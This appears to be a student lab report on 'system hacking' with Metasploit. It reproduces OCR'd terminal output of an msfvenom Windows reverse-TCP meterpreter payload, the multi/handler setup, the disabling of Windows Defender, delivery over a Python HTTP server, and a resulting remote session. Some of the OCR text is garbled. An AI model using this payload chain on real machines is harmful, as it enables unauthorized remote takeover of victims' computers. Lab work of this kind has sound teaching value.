EXPERIMENT-04
SYSTEM HACKING
AIM: 
To study about system hacking using tools like Metasploit 
THEORY
System hacking is the way hackers get access to individual computers on a network. ... This course explains the main methods of system hacking—password cracking, privilege escalation, spyware installation, and keylogging—and the countermeasures IT security professionals can take to fight these attacks.
TOOLS USED: 
Operating System: Kali Linux
Softwares Used: Virtual machine (virtual box or vmware ), Windows 10  Metasploit

PROCEDURE

Step 1: Open kali linux vm using virtual box. Open the terminal and type “ifconfig” command which is used to find the ip address	
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Figure 4.1









Step 2:
 After running the command ifconfig we get the ip address that is: 192.168.1.6.
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Figure 4.2
Step 3: 
· Then we type “msfvenom” and type the whole payload cmd and create a windows payload.
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Figure 4.3
Step 4: 
· To create a backdoor we typed the command “msfconsole”[image: ]
Figure 4.4
Step 5:	
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Figure 4.5
· In step 5 we set a backdoor connection. Which type of backdoor connection we want.
Step6:
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Figure 4.6
· In step 6 we set the payload type “reverse_tcp” in our backdoor connection.
Step7:
[image: ]
Figure 4.7
· In step7 we set the “LHOST:192.168..1.4” which is our kali machine IP address.
Step8:
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Figure 4.8
· In  step 8 we set “LPORT:4444” to receive a payload connection to this port.
Step9:
[image: ]
Figure 4.9
· In this step 9 we recheck the LHOST & LPORT is correct or not If they are correct now we are ready to exploit.
Step 10:
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Figure 4.10

· Now we open the another terminal in kali linux and gave cmd“sudo su” to take the super user access on kali.

· Then we type “python” cmd to share our payload to the target machine in LAN.








Step11:
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Figure 4.11

· Then we turn off the windows real time protection to undetectable  the payload on windows machine.

Step12:
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Figure 4.12
· Then we type in any browser the kali linux ip address and 8000 port number to access the kali linux  file and download in LAN.
· Like: “192.168.1.4:8000”.


Step13:
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Figure 4.13
· In step 13 we search the payload name To download it.

Step14:
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Figure 4.14

· Then we Download the payload on our windows machine.

Step 15:
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Figure 4.15
· In step 15 we go to the download folder in our windows target machine and run as administrator or open it. To install the virus on windows machine.





Step 16:
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Figure 4.16
· We return to kali machine and type “exploit” cmd to send the exploitation request to our target machine.

Step17:
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Figure 4.17
· When our payload is installed in target machine then we get the meterpreter section which is show that we got the backdoor connection to our windows machine to kali machine.
· Now we take whole control of the windows machine on kali linux. 
Step18:
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Figure 4.18

· Then we type the “sysinfo” cmd in kali linux terminal to see the windows machine details.





Step19:
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Figure 4.19
· Now we saw that the Device name of the windows machine and the device name which is show in kali terminal both are same
Result.
It shows that we successfully exploit the Windows machine.
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msf6 exploit(mi t i honiicr) > set payload windows/meterpreter/reverse_tcp
payload = windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > [
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1sf6 exploit(multi/handlér) > set lhost 192.168.1.4
lhost = 192.168.1.4
nsf6 exploit(multi/handler) > [
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1sf6 exploit(multi/handler) > set lport 4444
lport = 4444
1sf6 exploit(multi/handler) > [




image9.png
msf6 exploit(in i /honcicr) > show options
Module options (exploit/multi/handler):

Name Current Setting Required Description

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.1.4 yes The listen address (an interface may be specified)

LPORT Lbbl yes The listen port

Exploit target:

Id Name

0 Wildcard Target
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L—( kali% kali)-[~/Downloads]
$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000
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(¢ O & 192168.1.4:8000

rectory listing for /

o AdvPhishing-master/
o AdvPhishing-master.zip
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AdvPhishing-master/
AdvPhishing-master.zip

o CamPhish/

e compat-wireless-2010-06-26-p/

e compat-wireless-2010-06-26-p.tar.bz2
o flappybird-1.3-4-minAPI8.apk

o ngrok

* ngrok-stable-linux-amd64.zip

® zphisher/
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msf6 exploit(ii it/ handier) > exploit I
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ﬁs% exploit(multi/handier) > exploit
[#] Started reverse TCP handler on 192.168.1.4:4444

[#] Sending stage (175174 bytes) to 192.168.1.2
[#] Meterpreter session 2 opened (192.168.1.4:4444 — 192.168.1.2:54440) at 2021-11-12 01:06:36 -0500

meterpreter > |
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meterpreter > sysinfo

Computer : LAPTOP-RTVROVHE

0s : Windows 10 (10.0 Build 22000).
Architecture 1 x64

System Language : en_US

Domain : WORKGROUP

Logged On Users : 2

Meterpreter : x86/windows

meterpreter > |
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Device specifications

Device name
Processor
Installed RAM
Device ID
Product ID
System type

Pen and touch

LAPTOP-RTVROVHE

AMD Ryzen 9 5900HX with Radeon Graphics 3.30 GHz
16.0 GB (15.4 GB usable)
8A477ET75-2748-4D8D-BAA0-631C041DBEFO
00327-35936-16436-AA0EM

64-bit operating system, x64-based processor

No pen or touch input is available for this display
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File Actions Edit View Help
root@kali: fhome/kali *  kali@kali:~ x
[(kali®@kali)-[~]

$ ifconfigl]
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L—( kali® kali)-[~]

$ ifconfig

etho: flags =4163<UP,BROADCAST, RUNNING,MULTICAST> mtu 1500

netmask 255.255.255.0 broadcast 192.168.1.255
00:27ff:fe0e:348d prefixlen 64 scopeid 0x20<link>

ether 08:00:27:0e:34:8d txqueuelen 1000 (Ethernet)

RX packets 67 bytes 5802 (5.6 KiB)

RX errors @ dropped @ overruns @ frame 0

TX packets 17 bytes 2056 (2.0 KiB)

TX errors @ dropped @ overruns @ carrier @ collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 8 bytes 400 (400.0 B)
RX errors @ dropped @ overruns @ frame 0
TX packets 8 bytes 400 (400.0 B)
TX errors @ dropped @ overruns @ carrier @ collisions 0
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L—$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.4 LPORT=4444 -f exe > back2.exe
[-] No platform was selected, choosing Msf ::Module::Platform::Windows from the payload

[-] No arch selected, selecting arch: x86 from the payload

No encoder specified, outputting raw payload

Payload size: 354 bytes

Final size of exe file: 73802 bytes

L_$< lali% kali)-[~/Downloads]
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L—(roote ka11) /hnme/kall]
i msfconsole -
nsf6 > i
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1sf6 > use exploit/multi/handler
*] Using configured payload generic/shell_reverse_tcp
1sf6 exploit(multi/handler) > [




